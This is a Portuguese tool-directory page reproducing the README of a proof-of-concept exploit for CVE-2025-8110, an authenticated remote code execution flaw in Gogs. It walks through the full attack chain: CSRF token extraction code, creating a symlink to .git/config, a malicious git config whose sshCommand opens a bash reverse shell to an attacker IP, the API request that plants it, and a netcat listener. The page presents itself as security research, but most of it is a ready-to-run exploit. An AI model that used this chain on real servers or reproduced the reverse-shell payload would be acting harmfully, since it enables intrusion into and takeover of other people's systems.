Skip to content
KitploitKITPLOIT
FerramentasBlog
Log in
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-8110 — Exploit PoC para CVE-2025-8110 | Kitploit
Ferramentas/GitHubGitHub/joaquinrrr/cve-2025-8110
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoFerramenta de Acesso Remoto
GitHubjoaquinrrr/cve-2025-8110

CVE-2025-8110

Exploit PoC para CVE-2025-8110

Ver Repositório
510há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-8110

Execução Remota de Código via Link Simbólico em Repositórios Gogs

Feito por oguiii


Índice

  • Visão Geral
  • Funcionalidades
  • Requisitos
  • Instalação
  • Uso
  • Fluxo de Exploração
  • Análise Técnica
  • Demonstração de Prova de Conceito
  • Versões Afetadas
  • Mitigação
  • Detecção
  • Aviso Legal
  • Licença

Visão Geral

O CVE-2025-8110 é uma vulnerabilidade crítica no Gogs que permite que atacantes autenticados executem código remotamente através da manipulação de links simbólicos em repositórios. Esta prova de conceito demonstra a cadeia de exploração completa, desde a autenticação até a obtenção de um shell reverso.

A vulnerabilidade existe porque o Gogs segue links simbólicos ao manipular arquivos de repositório através de sua API, permitindo que um atacante leia e modifique arquivos sensíveis como .git/config. Ao injetar uma diretiva sshCommand maliciosa, comandos arbitrários do sistema podem ser executados com os privilégios da conta de serviço do Gogs.

Pontuação CVSS: 7.2 (Alta)
Vetor de Ataque: Rede
Autenticação Necessária: Sim
Interação do Usuário: Nenhuma
Impacto: Comprometimento completo do sistema


Funcionalidades

  • Extração automatizada de token CSRF com múltiplos métodos alternativos
  • Gerenciamento de sessão e manipulação de autenticação
  • Criação automática de repositórios com parâmetros configuráveis
  • Fluxo de exploração baseado em links simbólicos
  • Geração de payload para shell reverso
  • Suporte a proxy para depuração e análise
  • Log detalhado e tratamento de erros
  • Saída colorida no console para melhor legibilidade
  • Modo verboso para solução de problemas

Requisitos

Requisitos de Sistema

  • Python 3.6 ou superior
  • Git instalado e acessível no PATH
  • Acesso de rede à instância Gogs alvo

Dependências Python

requests>=2.28.0
beautifulsoup4>=4.11.0
rich>=13.0.0
urllib3>=1.26.0

Instalação

Clonar e Configurar

git clone https://github.com/oguiii/CVE-2025-8110.git
cd CVE-2025-8110
pip install -r requirements.txt

Estrutura do Projeto

CVE-2025-8110/
├── CVE-2025-8110.py    # Script principal do exploit
├── requirements.txt    # Dependências Python
└── README.md          # Documentação

Uso

Opções de Linha de Comando

OpçãoDescriçãoObrigatório
-u, --urlURL base do Gogs (ex.: https://gogs.example.com)Sim
-lh, --hostEndereço IP do atacante para shell reversoSim
-lp, --portPorta do atacante para shell reversoSim
-U, --usernameNome de usuário do GogsSim
-P, --passwordSenha do GogsSim
-x, --proxyHabilitar proxy (localhost:8080)Não
-v, --verboseHabilitar saída verbosaNão

Uso Básico

python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123

Com Proxy para Depuração

python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123 -x

Modo Verboso para Solução de Problemas

python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123 -v

Fluxo de Exploração

┌─────────────────────────────────────────────────────────────────────────────┐
│                    Cadeia de Exploração CVE-2025-8110                       │
└─────────────────────────────────────────────────────────────────────────────┘

Passo 1: Autenticação
├── Navegar para /user/login
├── Extrair token CSRF da página de login
├── Enviar credenciais com token CSRF
└── Estabelecer sessão autenticada

Passo 2: Geração de Token de Aplicação
├── Navegar para /user/settings/applications
├── Extrair token CSRF da página de configurações
├── Gerar novo token de aplicação
└── Extrair token da resposta

Passo 3: Criação de Repositório Malicioso
├── Criar repositório via API com auto_init
├── Gerar nome de repositório aleatório
└── Obter URL do repositório

Passo 4: Upload do Link Simbólico
├── Clonar repositório localmente
├── Criar link simbólico apontando para .git/config
├── Adicionar, commitar e enviar alterações
└── Verificar upload bem-sucedido

Passo 5: Exploração RCE
├── Criar .git/config malicioso com sshCommand
├── Codificar conteúdo da configuração em Base64
├── Enviar via API para o alvo do link simbólico
└── Disparar execução do comando

Passo 6: Shell Reverso
├── Conexão estabelecida com o host atacante
├── Acesso interativo ao shell
└── Execução de comandos no alvo

Análise Técnica

Causa Raiz da Vulnerabilidade

O Gogs falha em sanitizar adequadamente a travessia de links simbólicos ao lidar com arquivos de repositório através de sua API. Quando um arquivo é acessado via endpoint da API, o Gogs segue links simbólicos sem validação, permitindo acesso a arquivos sensíveis fora do diretório do repositório.

Detalhes do Vetor de Ataque

  1. Criação do Link Simbólico

    ln -s .git/config malicious_link
    git add malicious_link
    git commit -m "Add symlink"
    git push origin master
    
  2. Configuração Maliciosa

    [core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
        ignorecase = true
        precomposeunicode = true
        sshCommand = bash -c 'bash -i >& /dev/tcp/10.10.14.15/4444 0>&1'
    
  3. Exploração da API

    PUT /api/v1/repos/{username}/{repo}/contents/malicious_link
    Authorization: token {application_token}
    {
      "message": "Exploit CVE-2025-8110",
      "content": "base64_encoded_config"
    }
    

Análise de Código

Extração de Token CSRF

def extract_csrf(html_text):
    """Parse CSRF token from hidden input with multiple fallback methods."""
    # Method 1: Input with name _csrf
    soup = BeautifulSoup(html_text, "html.parser")
    token_input = soup.select_one("input[name='_csrf']")
    if token_input and token_input.get("value"):
        return token_input.get("value")
    
    # Method 2: Input with name csrf_token
    token_input = soup.select_one("input[name='csrf_token']")
    if token_input and token_input.get("value"):
        return token_input.get("value")
    
    # Method 3: Meta tag with CSRF
    meta_tag = soup.find("meta", {"name": "_csrf"})
    if meta_tag and meta_tag.get("content"):
        return meta_tag.get("content")
    
    # Method 4: Regex pattern in script tags
    pattern = r'"csrf_token"\s*:\s*"([^"]+)"'
    match = re.search(pattern, html_text)
    if match:
        return match.group(1)
    
    # Method 5: Regex for hidden input
    pattern = r'<input[^>]*name="[_-]csrf"[^>]*value="([^"]+)"'
    match = re.search(pattern, html_text, re.IGNORECASE)
    if match:
        return match.group(1)
    
    raise ValueError("CSRF token not found in form response")

Injeção de Configuração Maliciosa

git_config = f"""[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
        ignorecase = true
        precomposeunicode = true
  sshCommand = {command}
[remote "origin"]
        url = git@localhost:gogs/{repo_name}.git
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
        remote = origin
        merge = refs/heads/master
"""

Demonstração de Prova de Conceito

Configuração do Ataque

# Attacker machine (10.10.14.15)
nc -lvnp 4444
Listening on [0.0.0.0] (family 0, port 4444)

# Execute exploit
python3 CVE-2025-8110.py -u https://gogs.internal.local -lh 10.10.14.15 -lp 4444 -U admin -P SecurePass123
Baixar ferramenta